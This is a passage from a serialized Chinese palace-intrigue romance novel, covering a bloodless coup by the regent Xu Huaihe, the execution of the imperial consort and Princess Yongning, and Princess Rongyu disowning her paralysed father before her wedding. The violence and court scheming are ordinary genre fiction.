许怀鹤的心机至深,令他胆寒,镇国公摇摇晃晃地站起身,对着许怀鹤深深一拜,声音瞬间苍老了许多:“殿下可要此刻入宫?” 顾明之本就意外许怀鹤为何会这时出现在父亲的书房里,但事发突然,情急之下顾不了那么多,直接把得到的消息说了出来,反正这消息太大,许怀鹤早晚也会知道,但他没有想到,父亲居然会对着许怀鹤行贵人礼,且口中称呼许怀鹤为殿下。 殿下?! 在这京城之中,除了陛下的几位公主,还有谁能被称做殿下?许怀鹤肯定不是陛下的女儿,更不可能是陛下的儿子,那就只剩…… 顾明之并不愚蠢,他几乎是立刻就想到了之前闹的沸沸扬扬的戏班子,还有那场不能宣扬的禁剧,登时倒吸一口冷气,也瞬间明白了许怀鹤的真实身份。 许怀鹤对镇国公的态度转变并不意外,不过眨眼之间,他又恢复了平日那副清冷君子之态,言语间夹着凌凌霜雪,却又比以前更多了几分帝王之姿:“自然。” 镇国公闭了闭眼:“臣愿意随殿下一同入宫,保护殿下左右。但在入宫前,还请陛下容臣片刻时间,让臣处理家事。” 许怀鹤淡淡:“好。” 镇国公转头,对着还在震惊中的顾明之深切地嘱托:“你待在家中,好好陪着你母亲和妹妹,父亲那边,等我回来再向他解释。” 如果自己还能活着回来的话。 镇国公要说的话并不多,他深知宫变这件事有多么危险,那怕陛下如今已经瘫痪,而自己又是御前军的统领,进入皇宫不用费吹灰之力,但谁知陛下有没有留后手,会不会临时反扑? 而这一切会不会又是计中计,是一个让他们自投罗网的圈套呢? 开弓没有回头箭,镇国公拿上长剑,穿好盔甲,带着自己的兵,骑着马,跟随同样骑马走在前的许怀鹤离开了镇国公府,马蹄声在寂静的夜里格外沉闷,如同镇国公此刻的心情。 在即将到达宫门前,镇国公远远地看见了另一个骑着马的人,对方身后的队伍也非常眼熟,放眼望去,竟有半个朝堂的官员都聚在了这里,心甘情愿地跟随许怀鹤。 右相杜科心情复杂地拽着缰绳,他有些许心神不宁,再一次想到君心深不可测。 明明上一次许怀鹤和自己夜谈,已经说好春猎的时候再动手,一箭双雕,可皇帝却今日就中了风,瘫痪在床,失去了行动力,不但不能说话,连笔都拿不稳,写不了诏书,要说这其中没有许怀鹤的手笔,他是半点都不信的。 在得知许怀鹤和昭华公主要大婚的消息时,他狠狠松了一口气,心想自己还好没有一时冲动,把女儿嫁给许怀鹤,但又一次嫉妒起了镇国公府的好命,一门双皇后,这是何等的荣耀? 杜科有些怀疑许怀鹤和当年的陛下一样,都是为了镇国公府的军队,才娶了昭华公主殿下,但随即又暗笑自己的想法太过多余,若许怀鹤真是为了那些,为何不娶镇国公的嫡女顾云溪,关系不是更牢靠吗? 但想想昭华公主殿下的美貌,杜科又觉得英雄的确难过美人关,许怀鹤会爱上昭华公主殿下,也并非全然不可能,只是不知道昭华公主殿下得知许怀鹤成了新帝后,又会是何种想法呢? 隔着夜色,杜科还是一眼认出了身穿盔甲,身材魁梧的镇国公,他叹了一声,心道许怀鹤还是选择了拉拢镇国公,将镇国公收到自己麾下。 这样他们连镇国公都不用对付,也不必利用漠北将镇国公的军队支开,便能不费一兵一卒,拿下这场宫斗的胜利。 哼,他知道这是最好的办法,损失极小,获利却大,但心里还是有些不甘心,镇国公府又一次在新君面前立功得脸,明明自己马上就要成为最大的功臣,甚至压过当年的左相顾培安,镇国公府却又在这时插上一脚,真是…… 他不由得斜睨了一眼镇国公,两人碰巧对视上,又同时撇开头。 两位未来的亲家相见,却是在这样的场景,这样的事态下,不免都觉得有些好笑,但前途未卜,是非成败在此一举,两人又笑不出来了,肃着脸入了宫门。 很快就有人来拦,但在看到镇国公时,维护皇宫安宁的御林军立刻行礼,半跪下来,心惊胆战地任由他们通行,而宫人们在看到手拿刀剑的军队时,也吓得战战兢兢,不敢 多言,更有甚者,已经准备提着包袱从皇宫中趁乱逃出去了。 许怀鹤一袭白衣,在黑夜里分外显眼,一路畅通无阻地来到了怀柔宫,大门打开,寒风呼啸进来,守在皇帝床那边的大太监一眼便看到了他,正要尖声质问许怀鹤为何无诏入宫,便看到了许怀鹤身后的一群人,当即腿一软,扑通一声跪了下来,心知完了。 “公公已经得知我是先朝太子遗孤,所以特意行此大礼吗?”许怀鹤轻声笑道,眼睛里却并无半分笑意,“陛下如今不能理事,也没有继承大统的皇子,但国不可一日无君,便由我继位,诸位可有异议?” 大太监冷汗直冒,他看了一眼面色抽搐发青,已经被气得神志不清,又要再一次晕厥过去的皇帝,知道大势已去,砰地磕头:“恭迎新帝即位!” 身后的人乌泱泱跪了一片,一同朗声道:“恭迎新帝即位!” 床榻上的皇帝死死盯着许怀鹤,眼里的恨意几乎将许怀鹤淹没,恨不得将许怀鹤千刀万剐,但许怀鹤只是冷冷地笑着,轻轻用口型对他无声道:“废物。” 皇帝一颤,终于口吐白沫,再一次晕了过去,但此刻根本无人在意他。 来晚一步的礼部尚书带着自己那派的人,听着许怀鹤的话僵站在门口,扯出一个极其难看的笑容,同样对着许怀鹤跪拜下去。 他有什么异议?他哪里敢有异议?! 许怀鹤怎么就是先朝太子遗孤了?他们到底谋划了多久?又是从什么时候开始的?!自己就算怀疑许怀鹤的身份真实性,那又有用吗?没看到右相和郑国公都站在许怀鹤身旁支持他了吗?自己现在敢说一个不字,那就只有一个下场,死! 窗外忽而一声惊雷,在众人的心上重重一敲,有雨夹雪唰唰落下,公主府内,容钰终于从梦境中醒来,她迷茫地睁眼,一时分不清今夕何夕。 第58章 第58章他想给殿下最好的。 外面轰隆隆的雷声忽近忽远,容钰不知道为何有些心惊,后背因为病症出了一层薄汗,但高热好歹退下去了。 她有些不舒服地支起身子,拉响了床边的手铃,守在外间的青竹和春桃立刻赶了进来,见她醒了,两人的脸上都露出如释重负的欢喜笑容,一人用沾了药汁的帕子为她擦拭身子,另外一人替她更换衣衫,又让小丫鬟端了热腾腾的药过来。 容钰微微蹙起眉,慢吞吞地喝完,含了一小枚蜜饯在嘴里,轻声问春桃:“我睡了多久?” “殿下断断续续睡了大约七日有余。”春桃说起来都觉得有些心惊,公主殿下之前虽然也病重过,但从没有哪一次睡得这么久,好在殿下中途醒过来几次,也能喝药,能吃些汤食,加上有国师大人送来的药养着,终于是好了起来。 大病初愈,容钰脸颊上的肉都被磨去了一些,整个人看上去都清减了几分,本就纤弱的身子更加摇摇欲坠,一阵风都能吹倒似的,春桃心疼极了,连忙让小厨房准备了补汤,又扶着容钰下床。 容钰也没想到自己居然睡了这么久,算算婚期,没几日就要到了,她不免有些忧急:“大婚的东西都备好了么?” “备好了,”春桃连忙回答,“殿下放心,有桂嬷嬷主持着,绝不会出任何差错,绣娘们做的嫁衣也已经绣好了,殿下若是想看,奴婢这就给您带过来。” 如今半夜醒来,左右也睡不着,容钰干脆让春桃带了嫁衣过来。 说起来,这并不是她第一次看到自己的嫁衣,上一世她被强行送去漠北和亲前,宫里的礼仪嬷嬷带着嫁衣和两国和亲的休战国书来到公主府,眼里有怜悯,也有不屑,让粗手粗脚的宫人草草为她套上了那件可笑的嫁衣。 那件嫁衣真红啊,红的刺眼,红的不均,上面的珍珠是品质最次的河蚌珠,白玉禁步颜色暗淡,金线稀疏,就连领口都有毛边,针脚蹩劣,穿在她身上空空荡荡,哪里都不合身,粗糙的衣料磨得她皮肤生疼。 她强撑着没有掉眼泪,摆出仅剩的那点身为公主的尊严,呵斥了礼仪嬷嬷,赶走了宫里来的人,把她们留下的东西塞进了箱笼里,眼不见心为净。 而如今,眼前这件嫁衣明显是精心制成,一袭赤红的柔软锦缎长袍为底,明艳张扬又大气,衣襟与袖口用金线绣出百鸟朝凤的纹样,绣工繁复,针脚细密,领缘缀着玄色滚边,一点都不刺手。 嫁衣的外面罩着一件金丝的云纹薄衫,在烛光下散发着莹莹的光泽,像天上的碎星,腰带是青玉带,品质最好的白玉禁步发出冰泉一样的清响,容钰摸了一遍又一遍,没有一处不妥贴,没有一处不美丽,眼眶又有些发红。 她垂眸,摆脱上一世那些不好的回忆,又弯起嘴角,轻笑道:“真好看。” 再过几日,她就会穿着这件漂亮华贵的嫁衣,嫁给自己的心上人,嫁给那个会给她依旧雍容富贵的后半生,护她和镇国公府平安的许怀鹤。 只要过了这几日,她就能完全摆脱上一世的命运,容钰深吸了一口气,只希望别再出什么岔子,平平安安地度过去。 春桃高高兴兴地捧着一个大木盒过来,笑着说:“殿下,还有更好看的呢,您看看这顶凤冠,嬷嬷说是仿照先皇后娘娘出嫁时的凤冠做的。” 容钰让人把嫁衣收好,看着春桃将木匣放在桌案上,缓缓打开,还没看到里面的物件,就有华光散发出来,甚至盖过了旁边的烛光。 容钰呼吸都放轻了,她眼睛一眨不眨地看着面前的九翚四凤冠,冠顶上镶嵌着九颗明珠,颗颗饱满圆润品质上佳,两侧垂着小粒的珍珠流苏,额前缀着七宝璎珞,正中间是一枚拇指大的红宝石,璀璨夺目,动人心魄。 因为太美,容钰一时间都没能说出话来,她怔怔地伸出指尖,去触碰凤冠中心的那颗血红的宝石,又在摸到的一瞬间收回手,攥紧了自己有些发凉的手心。 小丫鬟端了暖身子的补汤过来,春桃收好木匣,让人放回箱笼里面,又端了汤到容钰面前,轻轻吹凉,一勺一勺喂着容钰。 她心疼地看着公主殿下发白的唇色,心里想着一定要在这几日好好养着,将殿下红润的面色养回来。 补汤里加了药包,容钰喝了小半碗就觉得嘴里发苦,让春桃撤了下去。 她身上微微发热,手脚也多了几分力气,横竖睡不着,便让春桃扶着,在屋里慢慢走了几圈,才觉得睡了这几日都有些发僵的腿也活动了过来。 也许是屋里的烛光太亮,又或许是小丫鬟们走动的声响弄醒了雪团,雪团从自己暖和的棉花窝里跑出来,兴奋地扑到了容钰的脚边,喵呜喵呜地叫着,想让容钰抱它。 容钰这些天一直高烧不退,春桃和青竹担心雪团扰了她的清净,妨碍容钰好生养病,就没把雪团放进来,这会儿才开了里间的门。 雪团在公主府里养了这么久,早已不是当初那只可怜兮兮又瘦巴巴的小白猫,猫如其名,整只猫又圆又白,容钰单手都抱不起,如今大病初愈 更是没力气,只能笑着挠挠雪团的脑袋,坐回了拔步床边,等着雪团自己跳上她的膝盖。 雪团乖巧地卧着,小声咪呜叫着表达对容钰的思念,圆溜溜的眼睛里满是担心,看的容钰心都快化了,忍不住伸手点了点它的鼻尖:“再过几日咱们府中就要多添一位驸马了,你也见过的,他叫许怀鹤,是个很好的人。” 青竹收拾桌案的手一顿,头更低了些。她耳力好,方才守外间的时候,便察觉到街道上有并不平整的错落马蹄声,听声音数量不小,这个时间皇城司的御前兵马必不可能出动,守城门的将士更是非大事不会离开城门,那就只剩……私兵。 一想到国师大人极有可能在今夜动手,青竹一颗心就忽上忽下,惶惶不安极了,但又不敢表现出来,强撑着压住了脸上焦躁的神色。 再过一两个时辰天就要亮了,容钰干脆让青竹拿了话本子过来,就着烛台慢吞吞地翻看着。 担心公主殿下伤了眼睛,青竹又将蜡烛加了几只,还放了两颗明珠在旁边照着,屋内几乎亮如白昼,容钰一边摸着雪团柔软的耳朵,一边看着画本上墨色的字迹—— 【那玉面判官怒喝一声,将一沓宗卷扔到罪人面前:“你且看吧,罪证俱在,条条恶行你认还是不认?!”】 “诸位请看吧,永宁公主杀害王雪莹的证据都在这了。”许怀鹤淡淡甩出一沓宗卷,“至于皇贵妃毒害先皇后和昭华公主殿下的罪行,想必宫中的太医院判也有话要说。” 许怀鹤此话一出,殿内原本就凝重的氛围更加死寂,礼部尚书更是瞪圆了眼睛。 他不明白,明明大好机会就摆在眼前,天时地利人和,许怀鹤一样不缺,今夜就能登基称帝,哪怕许怀鹤此刻手刃躺在床上中风瘫痪的皇帝,殿内都无人敢置喙半句,可他居然放弃了,只说自己以国师和先朝太子血脉的身份暂时监国,等陛下好起来再说??! 恐怕殿内谁都心知肚明,陛下中风是再也好不起来了,许怀鹤登基只是早晚的问题,但迟则生变的道理谁不清楚?只差一步就能拿下皇位,许怀鹤却在这时退了一步,当真开始做劳什子判官了? 礼部尚书不明白,但他不敢多言,只是随着众人道永宁公主和皇贵妃罪大恶极,该案律法处置,请国师大人明判。 许怀鹤冷淡的眼神静静扫过殿内众人神色不一的面孔,声音清冽而令人胆寒:“那就处死吧。” 除了镇国公,其他人又是一抖,明白了未来的新帝有勇有谋,也并不心慈手软,只是轻飘飘的一句话,便让在宫中,甚至京城中横行霸道已久的皇贵妃和永宁公主从此消失在这世上,想必离陈家人倒霉,也不会太远了。 镇国公深深凝视着许怀鹤,心里的震动无法言表,他很清楚许怀鹤为何没有在这时选择登基,因为在来时的路上,许怀鹤便同他说过,至少要等迎娶昭华公主殿下之后,再登基称帝。 许怀鹤年轻又冷冽的面孔如同一把锋利的刀,却因为那一抹柔情而变得温和,他轻声说想给昭华公主殿下最好的,如果自己立刻登基,昭华公主殿下的身份就会很尴尬。 他想让昭华公主殿下依旧以最尊贵的身份,风风光光地出嫁,兑现给容钰的承诺,以驸马的身份伺候在殿下身旁,绝对不会离开。 镇国公终于相信,许怀鹤是真心爱钰儿,而许怀鹤略微仓促动手的原因,他也能猜到一半,兴许是怕言而无信的陛下反悔,又想将钰儿送去漠北和亲,于是干脆让陛下口不能言,手脚也不能动地躺在床上,这样就能完全确保钰儿的安全。 许怀鹤在夺得监国权的第一时刻,便为先皇后还有钰儿报了仇,让那个恶毒的女人得到了应有的惩罚,镇国公心里畅快,恨不得大笑出来,但又觉得悲哀,可笑自己这么多年的效忠,在陛下那里换来的却是毒杀和打压,猜忌和冷待。 他随着众人一同弯腰行礼,真心实意地感谢许怀鹤,又得了许怀鹤的特许,跟着哆哆嗦嗦的大太监和另一个沾着血迹的小宫女进了内门,准备亲自手刃皇贵妃,为妹妹报仇。 怀柔宫里,皇贵妃和永宁公主依旧不知发生了什么,外面原先还有盔甲和刀剑挪动的声音,如今越发安静,大门早已紧锁,宫人们同样被锁在了屋内,瑟瑟发抖。 只有那个通风报信的小宫女不见了,明明刚才还在地上罚跪,又被扇了耳光,如今连人影都见不着,皇贵妃心里的不安越来越重,永宁公主还在旁边不停搓着自己的手臂,时不时发出一声干呕。 皇贵妃厌恶地皱了皱眉,正想让大宫女去打听一下外面到底出了什么事,就看到门被打开,有一个高大魁梧的身影走了进来。 皇贵妃惊了一跳,她捂住胸口,正要怒斥质问镇国公为何无诏入宫,还闯进了怀柔宫,但她还没来得及开口,眼前就有一抹寒光闪过,她猛地瞪大了眼睛,手指缓缓摸向自己的脖颈,一条血线展开。 “砰。” 没有多余的废话,镇国公出手利落,这一刀带着十足的杀意和恨意,完全没有给对方有丝毫活下来的机会,如同在战场上面对敌人。 而那高高在上,目中无人,欺压后宫多年的皇贵妃就这么倒在了地上,尸首分离,死状凄惨,怀柔宫内的众人根本没反应过来,直到大宫女发出一声短促的尖叫,扑倒在地,想要去扶起已经死透了皇贵妃娘娘,其他人才纷纷惊叫出声,乱作一团。 而一旁,还沉浸在被自己父皇猥/亵的永宁也终于反应过来,疯狂地大叫了起来,拼命往后退去,想要离皇贵妃的尸体远一点,但没退几步,就被人猛地掐住了脖子。 她惊恐地回头,看到了一张熟悉的不能再熟悉的脸,那张脸上还有她曾经发泄而掐出来的浅淡疤痕,此刻满眼恨意,掐在她脖子上的手用力收紧,让她双眼翻白,喘不上气。 “想必你早已不记得杀过多少宫女了,”小宫女的声音如同泣血,“她们在你眼里不过草芥,我的姐姐就是死在你手里的,她根本没有犯错,只是因为你那日心情不好,就打死了她!” “你真该死啊,”小宫女的手再一次收紧,她用了此生最大的力气,眼泪模糊了她的视线,“从进入怀柔过的那一刻起,我就想着这一幕了,我要亲手杀了你,为我姐姐报仇!” 永宁拼命去掰掐在自己脖子上的双手,双脚扑腾着,但怎么也拼不过对方的力气,从喉咙里吐出惊怒的字眼:“贱人……你……怎么……敢……” “我有什么不敢的?”小宫女冷笑出声,“是啊,你还不知道,如今是国师大人监国,国师大人揭露了你们的罪行,要处死你们,我向国师大人求了恩典,是国师大人允许我亲手杀你的!” 她话音落,手指又一次收紧,永宁瞪大双眼,眼珠都凸了出来,原本就因为黑疤而显得丑陋的面目如今更加可怕,抽搐着停止了呼吸。 第59章 第59章我不会再认你。 * 康盛九年的年开头,发生了好几件大事。 头一件大事,便是当今陛下中风,得了不治之症,太医院束手无策,如今只能卧病在床,由国师许怀鹤暂时监国,处理国家大事。 民间甚至有一些小道传闻,据说陛下是在床上做那档子事时,得了马上风,而且和他做那档子事的,还是他的亲生女儿永宁公主,太医院为了瞒下这等丑事,才用“中风”掩盖。 第二件大事,便是国师许怀鹤竟是先朝太子的血脉,遗落在民间十几年,被右相杜科发现眉眼和先太子相似,起了疑心,后又经太医院以及当年发现罪太子的王老县君证实,的确是先朝太子的遗孤无疑。 由他来监国,的确无人可置喙,也是最顺理成章的,毕竟陛下无子,旁支仅凭着那一点轻薄的血缘,远远不及许怀鹤的正统皇室血脉。 第三件大事,便 是国师许怀鹤监国之后,迅速揭发了皇贵妃和永宁公主的罪行,皇贵妃因毒杀先皇后和毒害昭华公主被处死,而永宁公主则以杀害王家小姐王雪莹为由,同样被处死。 刑部给出了大量的证据,太医院的院判也颓然承认皇贵妃当年确实从他这里得到了大量的毒药,掺在给先皇后进贡的螺子黛里。 日积月累下来,先皇后中毒太深,而陛下明知皇贵妃下此毒手却不闻不问,甚至助纣为虐,给先皇后送了大量的补品,加速先皇后的衰弱,导致先皇后早早离世。 而皇贵妃又想以同样的手段来毒害昭华公主殿下,好在此事发现的早,昭华公主殿下并没有被伤害。 王公贵族犯法与庶民同罪,许怀鹤这一手又加深了他在民间众人心里谪仙一样的形象,还添了几分正直果敢。 比起得了马上风还需要掩盖,放任皇贵妃毒害先皇后的陛下,百姓明显对国师许怀鹤要满意敬佩许多,民间对他登基的呼声越发高昂,茶馆酒楼甚至路边都是对此事的低声议论。 容钰从春桃那里得知这几件事时,手上的话本子没能拿稳,啪嗒一声掉在了地上,惊得原本熟睡的雪团迷迷糊糊地抬起脑袋,从她膝盖上跳了下去。 容钰扶着桌沿起身,她起的太急,加上大病初愈,身子又弱,眼前一黑,又直直地跌坐了回去,好半晌都没能缓过来,胸口发紧发闷,脑海中的思绪乱成一团,挑不出一根明晰的线。 春桃也是一脸呆滞,眼睛都不会转了,话说的断断续续,还是青竹在旁边帮着补充,才完整地说了出来,声音也哑了:“……皇贵妃和永宁公主如今都已经,已经死了。” 皇贵妃被国公爷手刃,为先皇后报仇,永宁公主则是由宫女动手身亡,她们因为是戴罪之身,连葬入皇陵的资格都没有。 陈家人得到消息,赶入皇宫里收尸,哭的惊天动地,陈家那位欺男霸女,当街纵马伤人的小公子还想指着许怀鹤骂,被镇国公用刀一架,立刻就老实了。 他哆哆嗦嗦地跪下去,和其他陈家人一起不声不响地收了尸体,也不敢声张,连夜赶回了陈家,草草下葬,连碑都没来得及立。 春桃说完,屋里便陷入了长久的静默之中,青竹紧张地悄悄观察着容钰脸上的神情,生怕公主殿下露出气愤的表情,吵着要和国师大人退婚,不愿意再嫁给国师大人,觉得国师大人心机深重,欺瞒已久,千算万算就是为了今天这一步。 好在公主殿下只是怔怔地坐着,秾丽脆弱的脸上更多的是茫然无措,像一只受了惊的幼猫,微微发白的嘴唇张着,露出一点贝齿,轻轻“啊”了一声。 容钰在听到父皇中风瘫痪在床,无法行动也不能说话时,耳畔就发出一声轰鸣,整个人都懵在了原地。 有了上一世的经历,她知道许怀鹤迟早有一天会登基称帝,上一世她的魂魄飘在空中,听那些宫人说是许怀鹤手刃了父皇,抢了皇位,但众人都臣服于许怀鹤,无一人敢有异议。 她原先不明白为什么,也一直留有疑问在心中,但此刻听到许怀鹤竟然是先朝太子的遗孤,一切便迎然而解,一切都说得通了。 容钰瞬间了然,也明白了这一世许怀鹤依旧会顺利登基称帝,而这一世父皇并没有死于许怀鹤之手,还留有一条命在。 她的心绪说不上来的复杂,母后的死竟然也有父皇的放任,原来自己的猜想也都是真的,父皇不但不喜爱她,也不爱母后,那些年的温情都是装出来的,父皇甚至都想让她们死,母后死在皇贵妃和父皇手里,而自己上一世被送去漠北和亲,何尝又不是死在了父皇的手中呢? 身体和心脏都已经痛的发紧,容钰蓦地苦笑了一声,她弯下腰,大口咳嗽起来,眼角都呛出了眼泪,吓得春桃和青竹连忙扶住她,又为她倒了热茶,轻轻顺着她的背。 容钰边笑边流泪,墨色的长发贴在她的脸颊,被泪水沾湿,冰凉一片,她捂住脸,半晌才松开,轻声让春桃和青竹去安排车架,无论如何,她还是得入宫去看一看。 恨吗?她该恨的人似乎都有了应得的下场,父皇瘫痪在床,不久后就会彻底失去帝王的身份,一无所有;皇贵妃和永宁也已经死了,她还和死人计较什么呢?恶人有恶报,这或许已是最好的结局了。 听到公主殿下说要入宫,青竹慌得差点崴了脚,生怕公主殿下是入宫去和国师大人对峙的,心事重重地去叫了马车,又坐在车夫旁边,像往常一样牵着缰绳,一路到了宫门,寸步不离地守在公主殿下身边。 而公主殿下似乎也心事重重,一直忧愁地低着眉眼,美人眸聚着水雾,浓密的睫毛忽闪,刚哭过的眼眶泛着微微的红,惹人怜爱极了。 因为担心公主殿下再受寒,桂嬷嬷在容钰离开公主府前,特意为她挑了一条极厚的大氅,雪白的狐裘压在她的肩头,让她原本就纤弱的身躯显得更加扶风弱柳,光是这几步路,春桃和青竹都不敢放松,一路护着容钰进了殿内。 里间熏着暖炉,来接容钰的人是原先伺候在皇帝面前的大太监,只是一夜过去,大太监整个人苍老了几十岁,原本就弯曲的腰显得更加佝偻,脸上还残余着宫变之后的惊慌,眼下的黑眼圈浓重,见到容钰就立刻弯腰行礼:“拜见公主殿下,公主殿下请,陛下就在里面。” “国师大人有要务处理,一时抽不开身,未能亲自迎公主殿下,还请公主殿下见谅。”大太监一边低声说着,一边拿眼睛悄悄去瞟另一个方向,“陛下这会儿醒着,殿下若是有什么话想同陛下说,奴婢就在外间守着。” 听到许怀鹤没空过来,容钰不知怎的反而轻轻松了口气,青竹更是整个人都轻松了不少,她想着按照婚前的习俗,殿下和国师大人这时候也是不能见面的,想必国师大人用了借口,但这样更好。 “好,”容钰点了点头,同大太监道,“你们都去外面守着吧。” 几人闻言都悄悄退到了外面,里间眼看着就只有容钰和躺在床上的皇帝两人,但实际上,两道屏风之隔,许怀鹤坐在檀木椅上,静静地靠着椅背,看着半透光的屏风上浮现出属于容钰的身影,手指忽然曲了曲。 他的目光贪恋地追随着那道模糊的身影,这么些日子没见,距离大婚又还有几天,他等的格外煎熬,明明即将拥有一切,但他总是害怕,害怕那一点不确定,所以他选择提前动手,掐断所有不稳定的萌芽。 一切都已胜券在握,等到昭华公主殿下成为他的妻,他做了公主殿下的驸马,殿下就永远不可能再离开他的身边了,哪怕用尽手段,他也会将明月揽下来,拥在自己怀里,绝不让其他人偷去。 “父皇。”屏风后,容钰已经走到了床榻边,她开口,尾音有些颤抖,“我和母妃究竟做错了什么,会让你如此厌恶?” 她知道父皇已经开不了口,说不出话,自己也得不到答案,但她还是问了出来,其实她心中也早已有了回答,等对上皇帝饱含杀意和厌烦的眼神,她更是心里一空,痛到极致反而平静下来。 自己的亲生父亲杀了母亲,还想杀自己,天底下还有比这更可笑的事吗? 容钰轻轻地握住指尖,她看着床榻上皇帝肥胖扭曲的面容,不受控制流出来的涎水,有些犯恶心地偏头道:“我们没做错什么,是你们太贪婪,太无耻,自私又阴毒,见不得别人好。” 或许有些人天生便是这样,就像永宁一样。从永宁出生起,她就把对方当做自己的妹妹,小时经常和永宁分享她得的好东西,但永宁却总是嫉妒她,讨厌她,恨不得她去死,上一世是这样,这一世同样也是如此,一直到死前都对她怀恨在心。 她不明白,也不想去理解这些恶意。 她已经不欠这个人什么了,对方虽然是她的亲生父亲,但对方犯下的罪孽不可原谅, 她最爱的母妃死在对方手里,上一世她自己也死在和亲路上,性命已还。 “我不会再认你,”容钰缓缓站直了身体,脚底轻飘飘的,浑身发烫,咬着牙,用尽全身的力气颤抖着说出这句大逆不道的话,双拳紧握,“你不配,不配做我的父亲!” 屏风后的许怀鹤猛地抬头。 床榻上的皇帝瞪圆了眼睛,想要怒骂,但他没办法说出字句,他甚至想挥手去打容钰,但手指也动不了,像一条被放在砧板上去了鱼鳞,开膛破肚的死鱼,只能瞪着一双眼睛做无力的挣扎,滑稽又可笑。 容钰说完这句话,浑身泄了力,她强撑着最后一口气转身,没有再回头看看床榻上的皇帝一眼,缓慢但坚定地走向了门外。 门打开,春桃和青竹一人一边,连忙扶住了容钰,为她系好大氅,送她上了软轿,门扉缓缓合上,最终遮去了她的身影,留下一地寂静。 许怀鹤从屏风后走出来,看着原本愤怒的皇帝眼神瞬间变得惊恐,嗤笑了一声,手指一转,从袖中取出一把小刀,在皇帝愈发害怕的眼神中往下一划,对方右手的两根指头瞬间掉落在地,而床榻上的人甚至无法发出一声惨叫,疼得两眼翻白,差点又晕过去。 许怀鹤冷笑着:“两根手指而已,太便宜你了,只是你现在还不能死,暂且留你一条狗命吧。” 第60章 第60章都说英雄难过美人关………… 从皇宫里出来时,外面已经日头高照,夜雨之后是亮晴,四处一片光灿灿的,而容钰站在这一片好光景里,却感受不到半分暖意。 宫里的消息已经传了出去,一场极其危险的宫变就这么悄无声息地结束了,街上人人自危,不少铺子都吓得锁了门,原本喜欢在街边玩耍的孩童更是被关进了家里,只能眼巴巴地望着窗外的阳光。 原本喧闹繁华的京城此刻一片安静,容钰收回指尖,放下了马车的车帘,一脸疲惫地靠在软枕上,轻轻闭上眼。 回到公主府后,容钰连最后一丝力气也没有了,她躺回榻上,抱着刚热好的手炉,春桃和青竹都放轻了手脚伺候着,一人去烧水煮茶,一人为容钰卸下头上的珠钗,梳理长发,让她躺的更舒服些。 至于公主殿下对陛下说了些什么,青竹和春桃半个字都不敢多问,只埋头做着事,就连雪团都懂事地没有发出“咪呜”的叫声,只是窝成云朵状,趴在容钰的身边,用暖烘烘又柔软的脑袋蹭着容钰的手指尖,好像在无声安慰着什么。 直到现在,青竹的胸腔还在咚咚咚地震个不停,但好歹没有之前那么惶恐了。 她不禁想,还好公主殿下实在天真单纯,要是换做旁人,恐怕早就从这一连串的事当中发现国师大人的心思并不简单,想通这些都国师大人一手策划出来的,而公主殿下却丝毫没有这方面的想法。 青竹盯着茶炉冒出的缭绕白烟,茶香四溢,她缓慢放松了肩膀,心道这样就好,这样就好,国师大人若能瞒住公主殿下一辈子,让公主殿下这一世都平安喜乐,天真如一,也没什么不可。 只要能瞒住。 “殿下,”门外的小丫鬟进来,对着容钰福了福身,也放轻了声音,“镇国公府的顾小姐来了。” 顾云溪昨晚一夜都没有睡,自从知道父亲要入宫去做什么后,她就和哥哥顾明之一起枯坐在花厅里,愣愣地盯着镇国公府的大门,生怕下一秒就会听到宫变失败,父亲出了事的坏消息。 父亲出事,镇国公府必定也逃不过,一荣俱荣,一损俱损,好在最后的结果是好的,国师许怀鹤成功了,父亲也从龙有功,她终于能放心下来,但因为太激动还是无法入睡,一直等到父亲回来,才扑进父亲的怀中狠狠哭了一场。 她半是兴奋高兴,半是忧心,虽然国师大人如今还没有登上帝位,但成为新皇也是迟早的事,而昭华公主殿下又和国师大人早早订了婚,马上就要到婚期,那昭华公主殿下就是板上钉钉的皇后娘娘了。 这对镇国公府来说无疑是无上的光荣,但顾云溪心里总梗着,担心公主殿下听到这些消息会不安,会多想,好在父亲刚好也和她想到了一起,让她来公主府宽慰看望殿下,她立马就应下,立刻坐马车赶了过来。 听到小丫鬟说顾云溪来了,容钰勉强睁开眼,伸出白嫩的手指揉了揉眉头,带着浓浓的倦意:“请她进来吧。” 容钰也知道,顾云溪没有递帖子,突然来公主府上拜访,多半是为了来宽慰她。 但她此刻的心情极其平静,并没有预想中的那样难受,也许是早已不抱期待,所以在得知真相的时候,除了愤怒之外,就止余下浓浓的失望,在和那个男人断绝关系,当面说出那句话后,她就没有任何可留恋的,可伤怀的了。 顾云溪小心翼翼地进了门,一抬眼就被容钰脸上的倦色吓了一跳,又心疼容钰清减了不少的样子,连忙福身行了礼,走到容钰旁边坐下来:“殿下的身子可好些了?父亲让我带了补品过来,祖父还有父亲母亲为您添了嫁妆,也让人带过来了,您要看看吗?” 顾云溪不敢提起昨夜宫中发生的事,说到底她也不知该怎么安慰公主殿下,事情已成定局,除了接受别无他法,只能换个话题,让公主殿下把心思放在即将到来的大婚上。 公主殿下既和国师大人两情相悦,想必对这次大婚也满心期待,陛下中风的事太突然,国师大人又身份特殊,监国也是理所当然,再怎么怪也怪不到国师大人的头上,自己挑着这个话题说,应当是不会出错的。 “多谢你们,”容钰弯了弯唇,“劳烦外祖父,舅舅和舅母费心了。” 她看着顾云溪眼里的担忧,心软了软,又发现顾云溪眼下有青黑,想来昨天晚上也没睡好,伸手握住了顾云溪温暖的右手,温声道:“我没事,你别担心我,回去睡一觉吧,别熬坏了身子,也同长辈们说一声,我没什么事,让长辈们宽心就好。” 顾云溪抿了抿唇,本来还想多待一会儿,多陪陪公主殿下,但公主殿下既然这么说了,她也不好多留,起身道别,一步三回头地离开了,走之前手上还戴着容钰刚刚给她塞的白玉镯子。 镇国公府送来的补品和添的嫁妆由春桃收着,放进了库房里,又从补品里面挑出来了一些,送到了小厨房给公主熬补汤。 公主殿下醒来之后,公主府仿佛又回到了原来的样子,每个人都有条不紊地做着手上的事,一派平和,岁月静好,公主府外的算计和混乱丝毫干扰不到府内的平静,仿佛有人为公主府撑起了一把庇护的大伞,将所有的恶意都挡在了外面。 又在府中养了两天,由于春桃和桂嬷嬷不停地往容钰面前送补汤,用厚被子和厚衣服捂着,说什么都不敢再让她得风寒,容钰的脸色倒是被养的红润了起来,但人却无聊极了,话本子都看完了,府中又没有什么可玩的,十分想去外面转一圈。 桂嬷嬷一听就不同意地摇头:“马上就要大婚了,殿下就别往外跑了,殿下莫不是想趁着机会和国师大人偷偷见一面?这可不行,殿下还是待在府中,等过了大婚,您想怎么玩就怎么玩。” 